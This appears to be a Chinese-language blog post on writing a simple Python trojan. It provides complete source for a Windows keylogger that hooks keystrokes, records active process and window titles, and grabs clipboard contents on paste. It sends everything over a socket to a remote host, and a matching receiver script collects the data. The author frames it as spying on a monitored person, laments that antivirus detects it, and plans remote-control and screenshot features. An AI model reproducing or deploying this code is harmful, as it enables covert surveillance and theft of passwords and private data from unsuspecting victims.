python简易木马(一)

参考链接:

Python编写简易木马程序

参考这个博客来写的

一些具体的问题:

1.配置pyHook模块、ctypes模块,需要这两个木块才能运行成功。

2.将三个模块结合起来要分清client为发送方server为接收方。

结合起来:发送方(被监控者)

# -*- coding:gb2312 -*-

from ctypes import*
import pythoncom
import pyHook
import win32clipboard
import socket
import threading

def send(message):
    #目标地址ip/URL及端口
    target_host = "***.***.***.***"
    target_port = 9999

    #创建一个socket对象
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    #连接主机
    client.connect((target_host,target_port))

    #发送数据
    client.send("GET/HTTP/1.1
"+message+"

")

    #接受响应
    response = client.recv(4096)

#--------------------------------------------------
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None


def get_current_process():

    #获取最上层的窗口句柄
    hwnd = user32.GetForegroundWindow()

    #获取进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd,byref(pid))

    #将进程ID存入变量
    process_id = "%d"%pid.value

    #申请内存
    executable = create_string_buffer("x00"*512)
    h_process = kernel32.OpenProcess(0x400|0x10,False,pid)

    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

    #读取窗口标题
    windows_title = create_string_buffer("x00"*512)
    length = user32.GetWindowTextA(hwnd,byref(windows_title),512)

    #发送
    message = process_id+"    "+executable.value+"    "+windows_title.value
    send(message)

    #关闭handows
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

#定义击键监听事件函数
def KeyStroke(event):

    global current_window

    #检测目标窗口是否发生转移(换了其他窗口就监听其他窗口)
    if event.WindowName != current_window:
        #函数调用
        get_current_process()

    #检查击键是否为常规按键(非组合键)并发送
    if event.Ascii >32 and event.Ascii < 127:
        message = chr(event.Ascii)
        send(message)
    else:
        #如果发现Ctrl+v事件,酒吧粘贴板内容发送
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            message = pasted_value
            send(message)
        else:
            send(event.Key)
    #监听下一个击键事件
    return True
#创建并注册hook管理器

kl = pyHook.HookManager()
kl.KeyDown = KeyStroke

#注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()

接收方:

# -*- coding:gb2312 -*-
import socket
import threading

#监听的ip及端口
bind_ip = "127.0.0.1"
bind_port = 9999

server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

server.bind((bind_ip,bind_port))

server.listen(5)

print"[*]Listening on %s:%d"%(bind_ip,bind_port)

def handle_client(client_socket):
    request = client_socket.recv(1024)
    print"[*]Received:%s"%request
    client_socket.send("ok!")
    client_socket.close()

while True:
    client,addr = server.accept()
    print"[*]Accept connection from:%s:%d"%(addr[0],addr[1])
    client_handler = threading.Thread(target=handle_client,args=(client,))
    client_handler.start()

就是把三个模块结合,把发送的数据改为记录即可。

未解决问题:

1.哎,没什么用,虽然能实现功能,但是一般的杀毒软件都能检测到程序在监控键盘输入,就当练习玩吧。

2.功能不够完善,没有远程控制功能,把他扔出去就只能接受信息了。

3.未完善鼠标监听和截图功能。